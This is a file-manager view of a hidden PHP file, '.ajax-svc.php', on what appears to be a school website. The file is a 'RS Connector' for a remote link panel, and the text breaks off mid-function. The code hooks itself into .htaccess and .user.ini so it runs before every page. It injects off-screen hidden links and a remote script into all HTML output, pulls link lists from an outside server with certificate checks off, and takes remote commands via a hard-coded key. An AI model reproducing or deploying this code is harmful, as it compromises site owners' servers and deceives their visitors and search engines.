File Manager
Pro
/home/i/iqcent/iq-schools.ru/public_html
PHP 7.4.33
Linux
/home/i/iqcent/iq-schools.ru/public_html/.ajax-svc.php
94.7 KB
0600
Back
<?php // Host sitedeki .auth.php / eklenti fonksiyonlariyla cakismayi onlemek icin // tum connector kendi namespace'inde calisir (respond() vb. cakismasi cozulur). namespace RSConnector; define('RS_CONNECTOR_VERSION', '4.4'); // Sunucu tarafi istekler (heartbeat vb.) icin sabit kimlik; panelin WAF/Cloudflare izin listesinde kullanilir. define('RS_USER_AGENT', 'LinkForge/1.0'); /** * RS Connector v4.4 - Universal Auto-Install Edition * Eski (v1-v3) ve yeni (v4.x) connector'larla tam uyumlu * Tüm auth yöntemlerini destekler: per-site key, domain-based key, universal key, HMAC, setup token */ // ==================== YAPILANDIRMA ==================== define('PANEL_API_URL', 'https://linkforge.cc'); define('SETUP_TOKEN', ''); // NOTE: This is a template placeholder. Panel injects the real value at download/update time. // If it stays unreplaced (contains "{{"), universal-key auth is disabled on this site. define('UNIVERSAL_SITE_KEY', 'c5f9ae885d1ab192e1c3bf95400b02eb84f0e5f706d58979'); // Dosya yolları (erken tanimlanir: auto_prepend modu, asagidaki ana islem baslamadan once // bu sabitlere ihtiyac duyar) $base_dir = dirname(__FILE__); $use_hidden = @file_put_contents($base_dir . '/.rs_test', 'test') !== false; if ($use_hidden) @unlink($base_dir . '/.rs_test'); define('KEY_FILE', $base_dir . '/' . ($use_hidden ? '.rs_key' : 'rs_key.dat')); define('LINKS_FILE', $base_dir . '/' . ($use_hidden ? '.rs_links.json' : 'rs_links.dat')); define('CONFIG_FILE', $base_dir . '/' . ($use_hidden ? '.rs_config.json' : 'rs_config.dat')); // ==================== AUTO_PREPEND MODU ==================== // Bu dosya baska bir scriptin auto_prepend_file'i olarak calisiyorsa (SCRIPT_FILENAME bizden // farkliysa), asagidaki action-dispatch koduna (CORS basliklari, Content-Type: application/json // zorlamasi, OPTIONS kisa devresi dahil) HIC girmeden sadece cikti tamponu kurulur ve gercek // sayfanin calismasina birakilir. Boylece connector, HANGI CMS/sablon kullanilirsa kullanilsin // (Joomla, WordPress, Laravel, native PHP, tamamen ozel yapilar) ayni tek mekanizmayla HER // sayfanin ciktisina linkleri ve JS etiketini ekler - sablon dosyasi aramaya, CMS'e ozel bir // eklenti/uzanti kurmaya veya yazma izinlerine ihtiyac kalmadan. PHP fonksiyon tanimlari // dosyanin tamami derlenirken hositlenir, bu yuzden asagida tanimlanan is_prepend_mode() ve // bootstrap_output_buffer() burada cagrilabilir. if (is_prepend_mode()) { bootstrap_output_buffer(); return; } // ==================== ERKEN PİNG ENDPOINT ==================== // Batch ping için ultra hızlı response (kod parse edilmeden önce) if (isset($_GET['action'])) { $quickAction = strtolower(trim($_GET['action'])); // Ultra fast endpoints - batch ping için optimize if ($quickAction === 'health' || $quickAction === 'fast_ping' || $quickAction === 'ultra_ping') { http_response_code(200); header('Content-Type: application/json'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Connection: close'); header('Access-Control-Allow-Origin: *'); echo json_encode([ 'success' => true, 'data' => [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'version' => RS_CONNECTOR_VERSION, 'timestamp' => time(), 'batch_ready' => true, 'max_batch_size' => 100 ], 'status' => 'ok' ]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } exit; } // Lightweight batch ping if ($quickAction === 'batch_health') { http_response_code(200); header('Content-Type: application/json'); header('Connection: close'); header('Access-Control-Allow-Origin: *'); echo json_encode([ 'success' => true, 'batch_id' => $_GET['batch_id'] ?? uniqid(), 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'index' => intval($_GET['site_index'] ?? 0), 'batch_index' => intval($_GET['batch_index'] ?? 0), 'version' => RS_CONNECTOR_VERSION, 'key_status' => file_exists(KEY_FILE), 'timestamp' => time() ]); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } exit; } } // Performance optimizasyonları ini_set('max_execution_time', 0); ini_set('memory_limit', '1024M'); ini_set('default_socket_timeout', 2); if (function_exists('opcache_compile_file')) { @opcache_compile_file(__FILE__); } // Hata raporlama $DEBUG_MODE = 0; error_reporting($DEBUG_MODE ? E_ALL : 0); ini_set('display_errors', $DEBUG_MODE ? '1' : '0'); // CORS ayarları header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, X-RS-Sig, X-RS-Ts, X-RS-Key, X-RS-Setup-Token'); header('Content-Type: application/json; charset=utf-8'); if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit(0); } // ==================== YARDIMCI FONKSİYONLAR ==================== /** * JSON yanıt gönder */ function respond($success, $data = [], $message = '', $http_code = 0) { if ($http_code > 0) { http_response_code($http_code); } else { http_response_code($success ? 200 : 200); } header('Connection: close'); $response = [ 'success' => $success, 'status' => $success ? 'ok' : 'error', 'message' => $message, 'data' => $data, 'version' => RS_CONNECTOR_VERSION, 'timestamp' => time() ]; echo json_encode($response, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES); if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } else { if (ob_get_level()) ob_end_flush(); flush(); } exit; } /** * Auth failure yanıtı - HTTP 200 ile success=false döner (panel uyumu için) */ function respond_auth_fail($message = 'Kimlik doğrulama başarısız') { respond(false, [], $message, 200); } /** * Domain-based static key generator (v4 uyumluluğu) */ function generate_site_static_key() { $domain = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'default'; $domain = strtolower(trim($domain)); $domain = preg_replace('/^www\./', '', $domain); $hash = substr(md5($domain . 'rs41_salt'), 0, 7); return 'RS41_' . $hash; } /** * Kayıtlı key'i al - HYBRID SİSTEM * Öncelik: 1) Dosyadan oku (per-site key), 2) Define edilmiş sabit key */ function get_stored_key() { // 1. Dosyadan oku (en güvenilir - per-site unique key) if (file_exists(KEY_FILE)) { $file_key = trim(file_get_contents(KEY_FILE)); if (!empty($file_key) && strlen($file_key) >= 4) { return $file_key; } } // 2. Domain-based static key (v4 uyumluluğu) return generate_site_static_key(); } /** * Tüm geçerli key'leri topla (auth için kullanılır) */ function get_all_valid_keys() { $keys = []; // 1. Dosyadan okunan key if (file_exists(KEY_FILE)) { $file_key = trim(file_get_contents(KEY_FILE)); if (!empty($file_key) && strlen($file_key) >= 4) { $keys[] = $file_key; } } // The domain-derived legacy key is only an identifier for heartbeats; it is // computed from a public salt, so it must never authenticate a request. // 2. Universal key $universal = defined('UNIVERSAL_SITE_KEY') ? trim((string)UNIVERSAL_SITE_KEY) : ''; // Disable if placeholder wasn't substituted. if (!empty($universal) && strpos($universal, '{{') === false && !in_array($universal, $keys)) { $keys[] = $universal; } return $keys; } /** * Key'i dosyaya kaydet - AKTİF (v3 uyumluluğu) */ function save_key($key) { $key = trim((string)$key); if (empty($key)) return false; return @file_put_contents(KEY_FILE, $key) !== false; } function save_config($config) { return @file_put_contents(CONFIG_FILE, json_encode($config, JSON_UNESCAPED_UNICODE)) !== false; } function get_config() { if (file_exists(CONFIG_FILE)) { $content = @file_get_contents(CONFIG_FILE); return json_decode($content, true) ?: []; } return []; } function get_links() { if (file_exists(LINKS_FILE)) { $content = @file_get_contents(LINKS_FILE); return json_decode($content, true) ?: []; } return []; } function save_links($links) { return @file_put_contents(LINKS_FILE, json_encode($links, JSON_UNESCAPED_UNICODE)) !== false; } /** * Request body'yi tek sefer oku ve cache'le (HMAC tutarlılığı için) */ function get_raw_request_body() { static $cached_body = null; if ($cached_body === null) { $cached_body = file_get_contents('php://input'); if ($cached_body === false) { $cached_body = ''; } } return $cached_body; } function get_request_data() { $data = []; if (!empty($_POST)) { $data = $_POST; } $raw = get_raw_request_body(); if ($raw) { $json = json_decode($raw, true); if (is_array($json)) { $data = array_merge($data, $json); } } $data = array_merge($data, $_GET); return $data; } /** * Action adını normalize et */ function normalize_action_name($action) { $action = strtolower(trim((string)$action)); if ($action === '') return 'ping'; $qpos = strpos($action, '?'); if ($qpos !== false) $action = substr($action, 0, $qpos); $apos = strpos($action, '&'); if ($apos !== false) $action = substr($action, 0, $apos); $action = preg_replace('/[^a-z0-9_]/', '', $action); return $action ?: 'ping'; } function normalize_rel($rel) { $rel = strtolower(trim((string)$rel)); return ($rel === 'nofollow') ? 'nofollow' : 'dofollow'; } /** * Request içinden gelen key'i al (tüm field adlarını kontrol et) */ function get_provided_site_key($req) { $candidates = [ $req['key'] ?? '', $req['site_key'] ?? '', $req['connector_key'] ?? '', $req['api_key'] ?? '', $req['token'] ?? '', $_SERVER['HTTP_X_RS_KEY'] ?? '', ]; foreach ($candidates as $candidate) { if (!is_string($candidate)) continue; $candidate = trim($candidate); if ($candidate !== '') return $candidate; } return ''; } /** * Setup token doğrulama */ function has_valid_setup_token($req) { $expected = defined('SETUP_TOKEN') ? SETUP_TOKEN : ''; if (empty($expected) || strpos($expected, '{{') !== false) return false; $provided = ''; if (isset($req['setup_token']) && is_string($req['setup_token'])) { $provided = trim($req['setup_token']); } elseif (isset($_SERVER['HTTP_X_RS_SETUP_TOKEN']) && is_string($_SERVER['HTTP_X_RS_SETUP_TOKEN'])) { $provided = trim($_SERVER['HTTP_X_RS_SETUP_TOKEN']); } return $provided !== '' && hash_equals($expected, $provided); } // Link inline stil function get_link_inline_style() { $config = get_config(); $mode = strtolower(trim((string)($config['link_output_mode'] ?? 'hidden'))); if ($mode === 'visible') { return 'display:inline-block;margin:0 8px 0 0;color:inherit;text-decoration:none;font-size:inherit;line-height:1.4;opacity:1;'; } return 'position:absolute;left:-9999px;opacity:0;font-size:1px;color:transparent;'; } function build_link_html($url, $anchor, $rel = 'dofollow') { $rel = normalize_rel($rel); $rel_attr = ($rel === 'nofollow') ? ' rel="nofollow"' : ''; $style = get_link_inline_style(); return '<a href="' . htmlspecialchars($url, ENT_QUOTES, 'UTF-8') . '"' . $rel_attr . ' style="' . $style . '">' . htmlspecialchars($anchor, ENT_QUOTES, 'UTF-8') . '</a>'; } // ==================== UNIVERSAL AUTO-INSTALL (CIKTI TAMPONU) ==================== // Bu blok, connector'in herhangi bir CMS eklentisi/uzantisi veya sablon taramasi olmadan, // dogrudan kendisi araciligiyla TUM sayfalara otomatik kurulmasini saglar. Joomla, WordPress, // Laravel, native PHP veya tamamen ozel bir dizin yapisi fark etmez: mekanizma, uretilen HTML // ciktisinin kendisini (kaynak dosyalari degil) </body> etiketinden hemen once degistirir. /** * Bu cagrinin dogrudan connector dosyasina mi (?action= istekleri) yoksa auto_prepend_file * olarak baska bir scriptin onune mi eklendigini belirler. */ function is_prepend_mode() { $script = isset($_SERVER['SCRIPT_FILENAME']) ? (string)$_SERVER['SCRIPT_FILENAME'] : ''; if ($script === '') return false; $self = __FILE__; $a = @realpath($script); $b = @realpath($self); if ($a !== false && $b !== false) { return $a !== $b; } // realpath basarisiz olursa (open_basedir vb.) yol dizgilerini normallestirip kiyasla. $norm = function ($p) { return rtrim(str_replace('\\', '/', $p), '/'); }; return $norm($script) !== $norm($self); } /** * Bu istegin tamponlanmaya uygun olup olmadigina bakar (GET/HEAD, CLI olmayan, basliklar * henuz gonderilmemis). auto_prepend_file'in fiilen devrede olup olmadigini TEST ETMEZ. */ function should_buffer_response() { if (PHP_SAPI === 'cli') return false; if (headers_sent()) return false; $method = isset($_SERVER['REQUEST_METHOD']) ? strtoupper((string)$_SERVER['REQUEST_METHOD']) : 'GET'; return $method === 'GET' || $method === 'HEAD'; } /** * Yanitin Content-Type'i (su ana kadar gonderilen basliklara gore) HTML mi? * Hicbir Content-Type baslik ayarlanmamissa PHP varsayilani text/html oldugundan true doner. */ function response_is_html() { if (!function_exists('headers_list')) return true; foreach (headers_list() as $h) { if (stripos($h, 'Content-Type:') === 0) { return stripos($h, 'text/html') !== false || stripos($h, 'application/xhtml') !== false; } } return true; } /** * Nihai HTML ciktisina, daha once eklenmemis linkleri ve JS connector etiketini son * </body> etiketinden hemen once ekler. $html HTML degilse, bos ise ya da </body> yoksa * degistirmeden doner (JSON/XML/binary/redirect ciktisini asla bozmaz). */ function render_links_into_html($html, array $links, $script_tag) { if (!is_string($html) || $html === '') return $html; $pos = strripos($html, '</body>'); if ($pos === false) return $html; if (!response_is_html()) return $html; $out = ''; foreach ($links as $id => $l) { if (!is_array($l)) continue; $u = isset($l['url']) ? (string)$l['url'] : ''; $a = isset($l['anchor']) ? (string)$l['anchor'] : ''; if ($u === '' || $a === '' || !preg_match('#^https?://#i', $u)) continue; $short = substr((string)$id, 4, 6); if ($short !== '' && strpos($html, 'rs:' . $short . ' -->') !== false) continue; $rel = (isset($l['rel']) && $l['rel'] === 'nofollow') ? 'nofollow' : 'dofollow'; $out .= '<!-- rs:' . $short . ' -->' . build_link_html($u, $a, $rel); } if ($script_tag !== '' && stripos($html, 'connector.js?key=') === false) { $out .= "\n" . $script_tag; } if ($out === '') return $html; return substr($html, 0, $pos) . "\n" . $out . "\n" . substr($html, $pos); } /** * Bu dosyayi auto_prepend_file olarak kaydeder (.htaccess + .user.ini). Onceki bir * surumden kalma gecici rs_prepend.php yonlendirmesi varsa temizlenir. Idempotenttir: * dogru yonerge zaten varsa dosyaya tekrar yazmaz; sonuc istek basina bir kez hesaplanir. */ function ensure_auto_prepend_installed($base) { static $cached = null; if ($cached !== null) return $cached; $self = __FILE__; $directive_ht = 'php_value auto_prepend_file "' . $self . '"'; $directive_ini = 'auto_prepend_file = "' . $self . '"'; $htaccess = $base . '/.htaccess'; $user_ini = $base . '/.user.ini'; $htaccess_ok = false; $user_ini_ok = false; if (file_exists($htaccess)) { force_writable($htaccess); $content = (string)@file_get_contents($htaccess); if (strpos($content, $self) !== false) { $htaccess_ok = true; } elseif (is_writable($htaccess)) { $content = preg_replace('/^.*auto_prepend_file.*rs_prepend\.php.*\r?\n?/mi', '', $content); $htaccess_ok = @file_put_contents($htaccess, $directive_ht . "\n" . $content) !== false; } } elseif (is_writable($base)) { $htaccess_ok = @file_put_contents($htaccess, $directive_ht . "\n") !== false; } if (file_exists($user_ini)) { force_writable($user_ini); $content = (string)@file_get_contents($user_ini); if (strpos($content, $self) !== false) { $user_ini_ok = true; } elseif (is_writable($user_ini)) { $content = preg_replace('/^.*auto_prepend_file.*rs_prepend\.php.*\r?\n?/mi', '', $content); $new_content = rtrim($content) . ($content !== '' ? "\n" : '') . $directive_ini . "\n"; $user_ini_ok = @file_put_contents($user_ini, $new_content) !== false; } } elseif (is_writable($base)) { $user_ini_ok = @file_put_contents($user_ini, $directive_ini . "\n") !== false; } $old_prepend = dirname($self) . '/rs_prepend.php'; if (file_exists($old_prepend)) @unlink($old_prepend); $cached = ['htaccess' => $htaccess_ok, 'user_ini' => $user_ini_ok, 'any' => ($htaccess_ok || $user_ini_ok)]; return $cached; } function remote_links_endpoint_url() { $panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : ''; if (empty($panel_url) || strpos($panel_url, '{{') !== false) return ''; $base = rtrim($panel_url, '/'); if (substr($base, -4) === '/api') { return $base . '/connector/links'; } return $base . '/api/connector/links'; } /** * Tek denemelik, kisa zaman asimli cekim (ziyaretci istegini asla uzun sure bloklamaz). * panel_http_post()'tan farkli olarak tekrar denemez ve cok daha kisa zaman asimi kullanir. */ function fetch_links_fast($url, $json) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_POST => true, CURLOPT_POSTFIELDS => $json, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 4, CURLOPT_CONNECTTIMEOUT => 2, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => RS_USER_AGENT, CURLOPT_HTTPHEADER => ['Content-Type: application/json'], ]); $response = curl_exec($ch); curl_close($ch); if ($response !== false) { $decoded = json_decode($response, true); if (is_array($decoded)) return $decoded; } return null; } if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'POST', 'header' => ['Content-Type: application/json', 'User-Agent: ' . RS_USER_AGENT], 'content' => $json, 'timeout' => 4, 'ignore_errors' => true, ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $response = @file_get_contents($url, false, $context); if ($response !== false) { $decoded = json_decode($response, true); if (is_array($decoded)) return $decoded; } } return null; } /** * Panelden guncel yayindaki link listesini PHP ile (connector'in kendisi) ceker ve * LINKS_FILE'a yazar. TTL icindeyse (ve $force degilse) agi hic kullanmadan hemen doner. * add_link/bulk_add_links/sync_links ile eklenen kayitlara dokunmaz; yalnizca daha once * source=>'pull' olarak isaretlenmis kayitlari panelin guncel listesiyle degistirir. */ function fetch_remote_links($force = false) { $ttl = 300; $config = get_config(); $last = (int)($config['links_pulled_at'] ?? 0); if (!$force && $last > 0 && (time() - $last) < $ttl) { return false; } $url = remote_links_endpoint_url(); $key = ''; if (file_exists(KEY_FILE)) $key = trim((string)@file_get_contents(KEY_FILE)); if ($key === '' && defined('UNIVERSAL_SITE_KEY')) { $universal = trim((string)UNIVERSAL_SITE_KEY); if ($universal !== '' && strpos($universal, '{{') === false) $key = $universal; } if ($url === '' || $key === '') { return false; } $json = json_encode(['site_key' => $key, 'domain' => $_SERVER['HTTP_HOST'] ?? ''], JSON_UNESCAPED_UNICODE); $result = fetch_links_fast($url, $json); $config['links_pulled_at'] = time(); $incoming = (is_array($result) && !empty($result['success']) && isset($result['data']['links']) && is_array($result['data']['links'])) ? $result['data']['links'] : null; if ($incoming !== null) { $pulled = []; foreach ($incoming as $l) { if (!is_array($l)) continue; $u = trim((string)($l['url'] ?? '')); $a = trim((string)($l['anchor'] ?? '')); if ($u === '' || $a === '' || !preg_match('#^https?://#i', $u)) continue; $rel = (isset($l['rel']) && $l['rel'] === 'nofollow') ? 'nofollow' : 'dofollow'; $id = 'pull_' . substr(md5($u . '|' . $a), 0, 12); $pulled[$id] = ['id' => $id, 'url' => $u, 'anchor' => $a, 'rel' => $rel, 'source' => 'pull', 'created' => time()]; } $existing = get_links(); $manual = array_filter($existing, function ($l) { return !is_array($l) || ($l['source'] ?? 'manual') !== 'pull'; }); save_links($manual + $pulled); if (isset($result['data']['output_mode']) && in_array($result['data']['output_mode'], ['hidden', 'visible'], true)) { $config['link_output_mode'] = (string)$result['data']['output_mode']; } $config['links_pull_ok'] = true; } else { $config['links_pull_ok'] = false; } save_config($config); return true; } /** * Yaniti ziyaretciye gonderdikten SONRA (fastcgi_finish_request ile) panelden taze link * listesi ceker. Boylece ag gecikmesi hicbir ziyaretcinin sayfa yuklemesini yavaslatmaz. */ function maybe_refresh_links_async() { try { while (ob_get_level() > 0) { @ob_end_flush(); } if (function_exists('fastcgi_finish_request')) { fastcgi_finish_request(); } elseif (function_exists('litespeed_finish_request')) { litespeed_finish_request(); } else { @flush(); } } catch (\Throwable $e) { // yoksay } try { fetch_remote_links(false); } catch (\Throwable $e) { // arka plan yenilemesi asla siteyi etkilememeli } } /** * Auto_prepend modunda calisir: kurulumu (yeniden) saglamlastirir, su an bilinen linkleri * ve JS etiketini yukler, cikti tamponunu kurar ve gercek sayfa ziyaretciye gonderildikten * sonra arka planda panelden taze veri ceker. */ function bootstrap_output_buffer() { try { if (!should_buffer_response()) return; $base = find_document_root(); ensure_auto_prepend_installed($base); $links = get_links(); $script_tag = get_js_connector_tag(); if (empty($links) && $script_tag === '') return; ob_start(function ($html) use ($links, $script_tag) { try { return render_links_into_html($html, $links, $script_tag); } catch (\Throwable $e) { return $html; } }); register_shutdown_function(__NAMESPACE__ . '\\maybe_refresh_links_async'); } catch (\Throwable $e) { // kurulum basarisiz olursa gercek site asla etkilenmemeli } } function find_document_root() { $cms_markers = [ 'wp-config.php', 'wp-load.php', 'configuration.php', 'artisan', 'config.php', 'includes/bootstrap.inc', ]; $base = $_SERVER['DOCUMENT_ROOT'] ?? ''; if (!empty($base) && is_dir($base)) { $base = rtrim($base, '/\\'); // Laravel vb. sitelerde connector public/ altinda olabilir: markerlar bir ust dizinde aranir. $has_marker = false; foreach ($cms_markers as $marker) { if (file_exists($base . '/' . $marker)) { $has_marker = true; break; } } if (!$has_marker) { $parent = dirname($base); if ($parent !== $base && (file_exists($parent . '/artisan') || file_exists($parent . '/wp-config.php') || file_exists($parent . '/configuration.php'))) { return $parent; } } return $base; } $base = dirname(__FILE__); for ($i = 0; $i < 10; $i++) { foreach ($cms_markers as $marker) { if (file_exists($base . '/' . $marker)) { return $base; } } if (file_exists($base . '/index.php') || file_exists($base . '/index.html')) { return $base; } $parent = dirname($base); if ($parent === $base) break; $base = $parent; } return $_SERVER['DOCUMENT_ROOT'] ?? dirname(__FILE__); } // ==================== HMAC DOĞRULAMA ==================== /** * HMAC doğrulama - TÜM geçerli key'leri dener */ function verify_hmac_any() { $signature = $_SERVER['HTTP_X_RS_SIG'] ?? ''; $timestamp = $_SERVER['HTTP_X_RS_TS'] ?? ''; if (empty($signature) || empty($timestamp)) return false; if (abs(time() - intval($timestamp)) > 300) return false; $body = get_raw_request_body(); $keys = get_all_valid_keys(); foreach ($keys as $key) { $expected = hash_hmac('sha256', $timestamp . $body, $key); if (hash_equals($expected, $signature)) return true; } return false; } /** * Belirli bir key ile HMAC doğrulama */ function verify_hmac($site_key) { $signature = $_SERVER['HTTP_X_RS_SIG'] ?? ''; $timestamp = $_SERVER['HTTP_X_RS_TS'] ?? ''; if (empty($signature) || empty($timestamp)) return false; if (abs(time() - intval($timestamp)) > 300) return false; $body = get_raw_request_body(); $expected = hash_hmac('sha256', $timestamp . $body, $site_key); return hash_equals($expected, $signature); } // ==================== UNIVERSAL AUTH ==================== /** * Korumalı action'lar için universal kimlik doğrulama * Tüm auth yöntemlerini dener: per-site key, domain key, universal key, HMAC, setup token */ function authenticate_request($req) { $provided_key = get_provided_site_key($req); $all_valid_keys = get_all_valid_keys(); // Yöntem 1: Gönderilen key, geçerli keylerden biriyle eşleşiyor mu? if (!empty($provided_key)) { foreach ($all_valid_keys as $valid_key) { if (hash_equals((string)$valid_key, (string)$provided_key)) return true; } } // Yöntem 2: HMAC - tüm geçerli keylerle dene if (verify_hmac_any()) return true; // Yöntem 3: Geçerli setup token if (has_valid_setup_token($req)) return true; return false; } // ==================== SİTE BİLGİSİ ALGILAMA ==================== function detect_site_info($fast_mode = false) { $base = find_document_root(); if ($fast_mode) { return [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'unknown', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'version' => RS_CONNECTOR_VERSION ]; } $info = [ 'site' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_name' => $_SERVER['HTTP_HOST'] ?? 'unknown', 'site_type' => 'static', 'language' => 'EN', 'country' => 'US', 'footer_detected' => false, 'footer_writable' => false, 'meta_description' => '', 'charset' => 'UTF-8', 'php_version' => phpversion(), 'connector_path' => __FILE__ ]; // CMS tipi algıla if (file_exists($base . '/wp-config.php') || file_exists($base . '/wp-load.php')) { $info['site_type'] = 'wordpress'; $info['footer_detected'] = true; } elseif (file_exists($base . '/configuration.php') && is_dir($base . '/administrator')) { $info['site_type'] = 'joomla'; $info['footer_detected'] = true; } elseif (file_exists($base . '/includes/bootstrap.inc') && is_dir($base . '/sites')) { $info['site_type'] = 'drupal'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config.php') && is_dir($base . '/catalog')) { $info['site_type'] = 'opencart'; $info['footer_detected'] = true; } elseif (file_exists($base . '/config/settings.inc.php') && is_dir($base . '/themes')) { $info['site_type'] = 'prestashop'; $info['footer_detected'] = true; } elseif (file_exists($base . '/artisan')) { $info['site_type'] = 'laravel'; $info['footer_detected'] = true; } elseif (file_exists($base . '/index.php')) { $info['site_type'] = 'php'; } // Index dosyasından bilgi çek $index_files = ['index.php', 'index.html', 'index.htm']; foreach ($index_files as $file) { $path = $base . '/' . $file; if (file_exists($path)) { $content = @file_get_contents($path, false, null, 0, 50000); if ($content) { if (preg_match('/<title>([^<]+)<\/title>/i', $content, $m)) { $info['site_name'] = trim(strip_tags($m[1])); } if (preg_match('/<meta[^>]*name=["\']description["\'][^>]*content=["\']([^"\']+)["\'][^>]*>/i', $content, $m)) { $info['meta_description'] = trim($m[1]); } if (preg_match('/<html[^>]*lang=["\']([a-z]{2})["\'][^>]*>/i', $content, $m)) { $lang = strtolower($m[1]); $lang_map = ['tr' => 'TR', 'en' => 'EN', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES']; $country_map = ['tr' => 'TR', 'en' => 'US', 'de' => 'DE', 'fr' => 'FR', 'es' => 'ES']; $info['language'] = $lang_map[$lang] ?? 'EN'; $info['country'] = $country_map[$lang] ?? 'US'; } if (preg_match('/türk|türkiye|istanbul|ankara/ui', $content)) { $info['language'] = 'TR'; $info['country'] = 'TR'; } if (preg_match('/<footer|class=["\'][^"\']*footer|copyright|©/i', $content)) { $info['footer_detected'] = true; } break; } } } $info['footer_writable'] = check_footer_writable($base, $info['site_type']); return $info; } function check_footer_writable($base, $site_type) { $footer_paths = get_footer_paths($base, $site_type); foreach ($footer_paths as $path) { if (file_exists($path) && is_writable($path)) return true; } if (is_writable($base . '/index.php') || is_writable($base . '/index.html')) return true; foreach (find_template_files($base) as $path) { if (is_writable($path)) return true; } return false; } function get_footer_paths($base, $site_type) { $paths = []; switch ($site_type) { case 'wordpress': $themes = glob($base . '/wp-content/themes/*/footer.php'); if ($themes) $paths = array_merge($paths, $themes); break; case 'joomla': $active = joomla_active_template($base); if ($active && file_exists($base . '/templates/' . $active . '/index.php')) { $paths[] = $base . '/templates/' . $active . '/index.php'; } $tpls = glob($base . '/templates/*/index.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'drupal': $tpls = glob($base . '/sites/*/themes/*/templates/*.tpl.php'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'opencart': $tpls = glob($base . '/catalog/view/theme/*/template/common/footer.*'); if ($tpls) $paths = array_merge($paths, $tpls); break; case 'prestashop': $tpls = glob($base . '/themes/*/templates/_partials/footer.tpl'); if ($tpls) $paths = array_merge($paths, $tpls); $tpls2 = glob($base . '/themes/*/footer.tpl'); if ($tpls2) $paths = array_merge($paths, $tpls2); break; case 'laravel': $layouts = glob($base . '/resources/views/layouts/*.blade.php'); if ($layouts) $paths = array_merge($paths, $layouts); foreach ([ '/resources/views/layouts/partials/footer.blade.php', '/resources/views/layouts/*/footer.blade.php', '/resources/views/components/layouts/*.blade.php', '/resources/views/includes/footer.blade.php', '/resources/views/partials/*.blade.php', ] as $pattern) { $found = glob($base . $pattern); if ($found) $paths = array_merge($paths, $found); } break; } $general = [ $base . '/footer.php', $base . '/includes/footer.php', $base . '/inc/footer.php', $base . '/template/footer.php', $base . '/templates/footer.php', $base . '/partials/footer.php', $base . '/layout/footer.php', $base . '/layouts/footer.php', $base . '/views/footer.php', $base . '/views/partials/footer.php', $base . '/common/footer.php', $base . '/include/footer.php', $base . '/theme/footer.php' ]; foreach ($general as $p) { if (file_exists($p)) $paths[] = $p; } return array_unique($paths); } // ==================== JS CONNECTOR SCRIPT İNJEKSİYONU ==================== function get_js_connector_tag() { // Panel only knows the per-site key saved on registration or the embedded universal key; // the legacy domain-derived fallback would make the JS connector request links with an unknown key. $key = ''; if (file_exists(KEY_FILE)) $key = trim((string)@file_get_contents(KEY_FILE)); if ($key === '' && defined('UNIVERSAL_SITE_KEY') && strpos((string)UNIVERSAL_SITE_KEY, '{{') === false) $key = trim((string)UNIVERSAL_SITE_KEY); if ($key === '') $key = get_stored_key(); if (empty($key)) return ''; $panel_url = defined('PANEL_API_URL') ? PANEL_API_URL : ''; if (empty($panel_url) || strpos($panel_url, '{{') !== false) return ''; $base = rtrim($panel_url, '/'); $base = preg_replace('#/api$#', '', $base); return '<script src="' . htmlspecialchars($base) . '/assets/js/connector.js?key=' . urlencode($key) . '&v=1.2" async></script>'; } function get_all_injectable_paths($base, $site_type) { $paths = []; // WordPress if ($site_type === 'wordpress') { foreach (glob($base . '/wp-content/themes/*/footer.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/header.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/index.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/page.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/single.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/archive.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/home.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/wp-content/themes/*/front-page.php') ?: [] as $f) $paths[] = $f; } // Joomla if ($site_type === 'joomla') { foreach (glob($base . '/templates/*/index.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/templates/*/component.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/templates/*/error.php') ?: [] as $f) $paths[] = $f; } // Drupal if ($site_type === 'drupal') { foreach (glob($base . '/sites/*/themes/*/templates/*.tpl.php') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/templates/html.html.twig') ?: [] as $f) $paths[] = $f; } // OpenCart if ($site_type === 'opencart') { foreach (glob($base . '/catalog/view/theme/*/template/common/footer.*') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/catalog/view/theme/*/template/common/header.*') ?: [] as $f) $paths[] = $f; } // PrestaShop if ($site_type === 'prestashop') { foreach (glob($base . '/themes/*/templates/_partials/footer.tpl') ?: [] as $f) $paths[] = $f; foreach (glob($base . '/themes/*/templates/_partials/header.tpl') 